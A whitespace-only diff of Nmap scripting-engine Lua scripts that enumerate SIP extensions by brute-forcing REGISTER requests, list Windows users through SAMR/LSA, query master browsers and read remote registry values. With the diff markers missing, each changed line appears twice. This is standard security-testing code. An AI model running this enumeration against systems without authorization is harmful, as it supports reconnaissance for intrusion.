status = session:connect()
if not status then
return false, "ERROR: Failed to connect to the SIP server."
end
session = sip.Session:new(host, port)
status = session:connect()
if not status then
return false, "ERROR: Failed to connect to the SIP server."
end
status, response = registerext(session, randext)
if not status then
return false, "ERROR: No response from the SIP server."
end
if response:getErrorCode() ~= 404 then
return false, "Server not returning 404 for random extension."
end
return true
status, response = registerext(session, randext)
if not status then
return false, "ERROR: No response from the SIP server."
end
if response:getErrorCode() ~= 404 then
return false, "Server not returning 404 for random extension."
end
return true
end
Driver = {
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
self.session = sip.Session:new(self.host, self.port)
local status = self.session:connect()
if ( not(status) ) then
return false, brute.Error:new( "Couldn't connect to host" )
end
return true
end,
connect = function( self )
self.session = sip.Session:new(self.host, self.port)
local status = self.session:connect()
if ( not(status) ) then
return false, brute.Error:new( "Couldn't connect to host" )
end
return true
end,
login = function( self, username, password)
-- We are using the "password" values instead of the "username" so we
-- could benifit from brute.lua passonly option and setPasswordIterator
-- function, as we are doing usernames enumeration only and not
-- credentials brute forcing.
local status, response, responsecode
-- Send REGISTER request for each extension
status, response = registerext(self.session, password)
if status then
responsecode = response:getErrorCode()
-- If response status code is 401 or 407, then extension exists but
-- requires authentication
if responsecode == sip.Error.UNAUTHORIZED or
responsecode == sip.Error.PROXY_AUTH_REQUIRED then
return true, brute.Account:new(password, " Auth required", '')
login = function( self, username, password)
-- We are using the "password" values instead of the "username" so we
-- could benifit from brute.lua passonly option and setPasswordIterator
-- function, as we are doing usernames enumeration only and not
-- credentials brute forcing.
local status, response, responsecode
-- Send REGISTER request for each extension
status, response = registerext(self.session, password)
if status then
responsecode = response:getErrorCode()
-- If response status code is 401 or 407, then extension exists but
-- requires authentication
if responsecode == sip.Error.UNAUTHORIZED or
responsecode == sip.Error.PROXY_AUTH_REQUIRED then
return true, brute.Account:new(password, " Auth required", '')
-- If response status code is 200, then extension exists
-- and requires no authentication
elseif responsecode == sip.Error.OK then
return true, brute.Account:new(password, " No auth", '')
-- If response status code is 200, then extension exists
-- but access is forbidden.
-- If response status code is 200, then extension exists
-- and requires no authentication
elseif responsecode == sip.Error.OK then
return true, brute.Account:new(password, " No auth", '')
-- If response status code is 200, then extension exists
-- but access is forbidden.
elseif responsecode == sip.Error.FORBIDDEN then
return true, brute.Account:new(password, " Forbidden", '')
end
return false,brute.Error:new( "Not found" )
else
return false,brute.Error:new( "No response" )
end
end,
elseif responsecode == sip.Error.FORBIDDEN then
return true, brute.Account:new(password, " Forbidden", '')
end
return false,brute.Error:new( "Not found" )
else
return false,brute.Error:new( "No response" )
end
end,
disconnect = function(self)
self.session:close()
return true
end,
disconnect = function(self)
self.session:close()
return true
end,
}
action = function(host, port)
local result, lthreads = {}, {}
local status, err
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
or "nselib/data/usernames.lst"
local result, lthreads = {}, {}
local status, err
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
or "nselib/data/usernames.lst"
-- min extension should be less than max extension.
if minext > maxext then
return "ERROR: maxext should be greater or equal than minext."
end
-- If not set to zero, number of digits to pad up to should have less or
-- equal the number of digits of max extension.
if padding ~= 0 and #tostring(maxext) > padding then
return "ERROR: padding should be greater or equal to number of digits of maxext."
-- min extension should be less than max extension.
if minext > maxext then
return "ERROR: maxext should be greater or equal than minext."
end
-- If not set to zero, number of digits to pad up to should have less or
-- equal the number of digits of max extension.
if padding ~= 0 and #tostring(maxext) > padding then
return "ERROR: padding should be greater or equal to number of digits of maxext."
end
-- We test for false positives by sending a request for a random extension
-- and checking if it did return a 404.
status, err = test404(host, port)
if not status then
return err
end
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local iterator = numiterator(minext, maxext, padding)
if users then
local usernames, err = useriterator(usersfile)
if not usernames then
return err
end
-- Concat numbers and users iterators
iterator = unpwdb.concat_iterators(iterator, usernames)
end
engine:setPasswordIterator(iterator)
engine.options.passonly = true
status, result = engine:start()
-- We test for false positives by sending a request for a random extension
-- and checking if it did return a 404.
status, err = test404(host, port)
if not status then
return err
end
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local iterator = numiterator(minext, maxext, padding)
if users then
local usernames, err = useriterator(usersfile)
if not usernames then
return err
end
-- Concat numbers and users iterators
iterator = unpwdb.concat_iterators(iterator, usernames)
end
engine:setPasswordIterator(iterator)
engine.options.passonly = true
status, result = engine:start()
return result
return result
end

View File

@@ -146,120 +146,120 @@ dependencies = {"smb-brute"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
action = function(host)
local i, j
local samr_status = false
local lsa_status = false
local samr_result = "Didn't run"
local lsa_result = "Didn't run"
local names = {}
local names_lookup = {}
local response = {}
local samronly = nmap.registry.args.samronly
local lsaonly = nmap.registry.args.lsaonly
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
local i, j
local samr_status = false
local lsa_status = false
local samr_result = "Didn't run"
local lsa_result = "Didn't run"
local names = {}
local names_lookup = {}
local response = {}
local samronly = nmap.registry.args.samronly
local lsaonly = nmap.registry.args.lsaonly
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
-- Try enumerating through SAMR. This is the better source of information, if we can get it.
if(do_samr) then
samr_status, samr_result = msrpc.samr_enum_users(host)
-- Try enumerating through SAMR. This is the better source of information, if we can get it.
if(do_samr) then
samr_status, samr_result = msrpc.samr_enum_users(host)
if(samr_status) then
-- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
for i = 1, #samr_result, 1 do
-- Insert the full info into the names list
table.insert(names, samr_result[i])
-- Set the names_lookup value to 'true' to avoid duplicates
names_lookup[samr_result[i]['name']] = true
end
end
end
if(samr_status) then
-- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
for i = 1, #samr_result, 1 do
-- Insert the full info into the names list
table.insert(names, samr_result[i])
-- Set the names_lookup value to 'true' to avoid duplicates
names_lookup[samr_result[i]['name']] = true
end
end
end
-- Try enumerating through LSA.
if(do_lsa) then
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status) then
-- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then
-- Check if the name already exists
if(not(names_lookup[lsa_result[i]['name']])) then
table.insert(names, lsa_result[i])
end
end
end
end
end
-- Try enumerating through LSA.
if(do_lsa) then
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status) then
-- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then
-- Check if the name already exists
if(not(names_lookup[lsa_result[i]['name']])) then
table.insert(names, lsa_result[i])
end
end
end
end
end
-- Check if both failed
if(samr_status == false and lsa_status == false) then
if(string.find(lsa_result, 'ACCESS_DENIED')) then
return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
end
-- Check if both failed
if(samr_status == false and lsa_status == false) then
if(string.find(lsa_result, 'ACCESS_DENIED')) then
return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
end
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
end
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
end
-- Sort them
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
-- Sort them
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
-- Break them out by domain
local domains = {}
for _, name in ipairs(names) do
local domain = name['domain']
-- Break them out by domain
local domains = {}
for _, name in ipairs(names) do
local domain = name['domain']
-- Make sure the entry in the domains table exists
if(not(domains[domain])) then
domains[domain] = {}
end
-- Make sure the entry in the domains table exists
if(not(domains[domain])) then
domains[domain] = {}
end
table.insert(domains[domain], name)
end
table.insert(domains[domain], name)
end
-- Check if we actually got any names back
if(#names == 0) then
table.insert(response, "Couldn't find any account names, sorry!")
else
-- If we're not verbose, just print out the names. Otherwise, print out everything we can
if(nmap.verbosity() < 1) then
for domain, domain_users in pairs(domains) do
-- Make an impromptu list of users
local names = {}
for _, info in ipairs(domain_users) do
table.insert(names, info['name'])
end
-- Check if we actually got any names back
if(#names == 0) then
table.insert(response, "Couldn't find any account names, sorry!")
else
-- If we're not verbose, just print out the names. Otherwise, print out everything we can
if(nmap.verbosity() < 1) then
for domain, domain_users in pairs(domains) do
-- Make an impromptu list of users
local names = {}
for _, info in ipairs(domain_users) do
table.insert(names, info['name'])
end
-- Add this domain to the response
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
end
else
for domain, domain_users in pairs(domains) do
for _, info in ipairs(domain_users) do
local response_part = {}
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
-- Add this domain to the response
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
end
else
for domain, domain_users in pairs(domains) do
for _, info in ipairs(domain_users) do
local response_part = {}
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
if(info['fullname']) then
table.insert(response_part, string.format("Full name: %s", info['fullname']))
end
if(info['description']) then
table.insert(response_part, string.format("Description: %s", info['description']))
end
if(info['flags']) then
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
end
if(info['fullname']) then
table.insert(response_part, string.format("Full name: %s", info['fullname']))
end
if(info['description']) then
table.insert(response_part, string.format("Description: %s", info['description']))
end
if(info['flags']) then
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
end
table.insert(response, response_part)
end
end
end
end
table.insert(response, response_part)
end
end
end
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -42,13 +42,13 @@ Queries information managed by the Windows Master Browser.
-- |_ WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
--
-- @args smb-mbenum.format (optional) if set, changes the format of the result
-- returned by the script. There are three possible formats:
-- 1. Ordered by type horizontally
-- 2. Ordered by type vertically
-- 3. Ordered by type vertically with details (default)
-- returned by the script. There are three possible formats:
-- 1. Ordered by type horizontally
-- 2. Ordered by type vertically
-- 3. Ordered by type vertically with details (default)
--
-- @args smb-mbenum.filter (optional) if set, queries the browser for a
-- specific type of server (@see ServerTypes)
-- specific type of server (@see ServerTypes)
--
-- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser
--
@@ -67,167 +67,167 @@ hostrule = function(host) return smb.get_port(host) ~= nil end
local function log(msg) stdnse.print_debug(3, msg) end
ServerTypes = {
SV_TYPE_WORKSTATION = 0x00000001,
SV_TYPE_SERVER = 0x00000002,
SV_TYPE_SQLSERVER = 0x00000004,
SV_TYPE_DOMAIN_CTRL = 0x00000008,
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
SV_TYPE_TIME_SOURCE = 0x00000020,
SV_TYPE_AFP = 0x00000040,
SV_TYPE_NOVELL = 0x00000080,
SV_TYPE_DOMAIN_MEMBER = 0x00000100,
SV_TYPE_PRINTQ_SERVER = 0x00000200,
SV_TYPE_DIALIN_SERVER = 0x00000400,
SV_TYPE_SERVER_UNIX = 0x00000800,
SV_TYPE_NT = 0x00001000,
SV_TYPE_WFW = 0x00002000,
SV_TYPE_SERVER_MFPN = 0x00004000,
SV_TYPE_SERVER_NT = 0x00008000,
SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
SV_TYPE_BACKUP_BROWSER = 0x00020000,
SV_TYPE_MASTER_BROWSER = 0x00040000,
SV_TYPE_DOMAIN_MASTER = 0x00080000,
SV_TYPE_WINDOWS = 0x00400000,
SV_TYPE_DFS = 0x00800000,
SV_TYPE_CLUSTER_NT = 0x01000000,
SV_TYPE_TERMINALSERVER = 0x02000000,
SV_TYPE_CLUSTER_VS_NT = 0x04000000,
SV_TYPE_DCE = 0x10000000,
SV_TYPE_ALTERNATE_XPORT = 0x20000000,
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
SV_TYPE_DOMAIN_ENUM = 0x80000000,
SV_TYPE_ALL = 0xFFFFFFFF
SV_TYPE_WORKSTATION = 0x00000001,
SV_TYPE_SERVER = 0x00000002,
SV_TYPE_SQLSERVER = 0x00000004,
SV_TYPE_DOMAIN_CTRL = 0x00000008,
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
SV_TYPE_TIME_SOURCE = 0x00000020,
SV_TYPE_AFP = 0x00000040,
SV_TYPE_NOVELL = 0x00000080,
SV_TYPE_DOMAIN_MEMBER = 0x00000100,
SV_TYPE_PRINTQ_SERVER = 0x00000200,
SV_TYPE_DIALIN_SERVER = 0x00000400,
SV_TYPE_SERVER_UNIX = 0x00000800,
SV_TYPE_NT = 0x00001000,
SV_TYPE_WFW = 0x00002000,
SV_TYPE_SERVER_MFPN = 0x00004000,
SV_TYPE_SERVER_NT = 0x00008000,
SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
SV_TYPE_BACKUP_BROWSER = 0x00020000,
SV_TYPE_MASTER_BROWSER = 0x00040000,
SV_TYPE_DOMAIN_MASTER = 0x00080000,
SV_TYPE_WINDOWS = 0x00400000,
SV_TYPE_DFS = 0x00800000,
SV_TYPE_CLUSTER_NT = 0x01000000,
SV_TYPE_TERMINALSERVER = 0x02000000,
SV_TYPE_CLUSTER_VS_NT = 0x04000000,
SV_TYPE_DCE = 0x10000000,
SV_TYPE_ALTERNATE_XPORT = 0x20000000,
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
SV_TYPE_DOMAIN_ENUM = 0x80000000,
SV_TYPE_ALL = 0xFFFFFFFF
}
TypeNames = {
SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
}
OutputFormat = {
BY_TYPE_H = 1,
BY_TYPE_V = 2,
BY_TYPE_V_DETAILED = 3,
BY_TYPE_H = 1,
BY_TYPE_V = 2,
BY_TYPE_V_DETAILED = 3,
}
action = function(host, port)
local status, smbstate = smb.start(host)
local err, entries
local path = ("\\\\%s\\IPC$"):format(host.ip)
local detail_level = 1
local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
local domain = stdnse.get_script_args("smb-mbenum.domain")
local status, smbstate = smb.start(host)
local err, entries
local path = ("\\\\%s\\IPC$"):format(host.ip)
local detail_level = 1
local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
local domain = stdnse.get_script_args("smb-mbenum.domain")
filter = tonumber(filter) or ServerTypes[filter]
format = tonumber(format)
filter = tonumber(filter) or ServerTypes[filter]
format = tonumber(format)
if ( not(filter) ) then
return "\n The argument smb-mbenum.filter contained an invalid value."
end
if ( not(filter) ) then
return "\n The argument smb-mbenum.filter contained an invalid value."
end
if ( not(format) ) then
return "\n The argument smb-mbenum.format contained an invalid value."
end
if ( not(format) ) then
return "\n The argument smb-mbenum.format contained an invalid value."
end
status, err = smb.negotiate_protocol(smbstate, {})
if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service"
end
status, err = smb.negotiate_protocol(smbstate, {})
if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service"
end
status, err = smb.start_session(smbstate, {})
if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service"
end
status, err = smb.start_session(smbstate, {})
if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service"
end
status, err = smb.tree_connect(smbstate, path, {})
if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service"
end
status, err = smb.tree_connect(smbstate, path, {})
if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service"
end
status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
if ( not(status) ) then
log("ERROR: msrpc.call_lanmanapi failed")
return "\n ERROR: " .. entries
end
status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
if ( not(status) ) then
log("ERROR: msrpc.call_lanmanapi failed")
return "\n ERROR: " .. entries
end
status, err = smb.tree_disconnect(smbstate)
if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
status, err = smb.tree_disconnect(smbstate)
if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
status, err = smb.logoff(smbstate)
if ( not(status) ) then log("ERROR: smb.logoff failed") end
status, err = smb.logoff(smbstate)
if ( not(status) ) then log("ERROR: smb.logoff failed") end
status, err = smb.stop(smbstate)
if ( not(status) ) then log("ERROR: smb.stop failed") end
status, err = smb.stop(smbstate)
if ( not(status) ) then log("ERROR: smb.stop failed") end
local results, output = {}, {}
for k, _ in pairs(ServerTypes) do
for _, server in ipairs(entries) do
if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
results[TypeNames[k].long] = results[TypeNames[k].long] or {}
if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
table.insert(results[TypeNames[k].long], server)
else
table.insert(results[TypeNames[k].long], server.name)
end
end
end
end
local results, output = {}, {}
for k, _ in pairs(ServerTypes) do
for _, server in ipairs(entries) do
if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
results[TypeNames[k].long] = results[TypeNames[k].long] or {}
if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
table.insert(results[TypeNames[k].long], server)
else
table.insert(results[TypeNames[k].long], server.name)
end
end
end
end
if ( format == OutputFormat.BY_TYPE_H ) then
for k, v in pairs(results) do
local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
table.insert(output, row)
end
table.sort(output)
elseif( format == OutputFormat.BY_TYPE_V ) then
for k, v in pairs(results) do
v.name = k
table.insert(output, v)
end
table.sort(output, function(a,b) return a.name < b.name end)
elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
for k, v in pairs(results) do
local cat_tab = tab.new(3)
table.sort(v, function(a,b) return a.name < b.name end )
for _, server in pairs(v) do
tab.addrow(
cat_tab,
server.name,
("%d.%d"):format(server.version.major,server.version.minor),
server.comment
)
end
table.insert(output, { name = k, tab.dump(cat_tab) } )
end
table.sort(output, function(a,b) return a.name < b.name end)
end
if ( format == OutputFormat.BY_TYPE_H ) then
for k, v in pairs(results) do
local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
table.insert(output, row)
end
table.sort(output)
elseif( format == OutputFormat.BY_TYPE_V ) then
for k, v in pairs(results) do
v.name = k
table.insert(output, v)
end
table.sort(output, function(a,b) return a.name < b.name end)
elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
for k, v in pairs(results) do
local cat_tab = tab.new(3)
table.sort(v, function(a,b) return a.name < b.name end )
for _, server in pairs(v) do
tab.addrow(
cat_tab,
server.name,
("%d.%d"):format(server.version.major,server.version.minor),
server.comment
)
end
table.insert(output, { name = k, tab.dump(cat_tab) } )
end
table.sort(output, function(a,b) return a.name < b.name end)
end
return stdnse.format_output(true, output)
return stdnse.format_output(true, output)
end

View File

@@ -61,7 +61,7 @@ dependencies = {"smb-brute"}
-- TODO: This script needs some love
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
---Retrieves the requested value from the registry.
@@ -72,178 +72,178 @@ end
--@return Status (true or false).
--@return The value (if status is true) or an error string (if status is false).
local function reg_get_value(smbstate, handle, key, value)
-- Open the key
local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
if(status == false) then
return false, openkey_result
end
-- Open the key
local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
if(status == false) then
return false, openkey_result
end
-- Query the value
local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
if(status == false) then
return false, queryvalue_result
end
-- Query the value
local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
if(status == false) then
return false, queryvalue_result
end
-- Close the key
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
if(status == false) then
return false, closekey_result
end
-- Close the key
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
if(status == false) then
return false, closekey_result
end
return true, queryvalue_result['value']
return true, queryvalue_result['value']
end
local function get_info_registry(host)
local result = {}
local result = {}
-- Create the SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Create the SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to WINREG service
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to WINREG service
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Open HKEY_LOCAL_MACHINE
local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhklm_result
end
-- Open HKEY_LOCAL_MACHINE
local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhklm_result
end
-- Processor information
result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
if(result['status-number_of_processors'] == false) then
result['number_of_processors'] = 0
end
result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
-- Processor information
result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
if(result['status-number_of_processors'] == false) then
result['number_of_processors'] = 0
end
result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
-- remove trailing zero terminator
local num_procs = result['number_of_processors']:match("^[^%z]*")
-- remove trailing zero terminator
local num_procs = result['number_of_processors']:match("^[^%z]*")
for i = 0, tonumber(num_procs) - 1, 1 do
result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
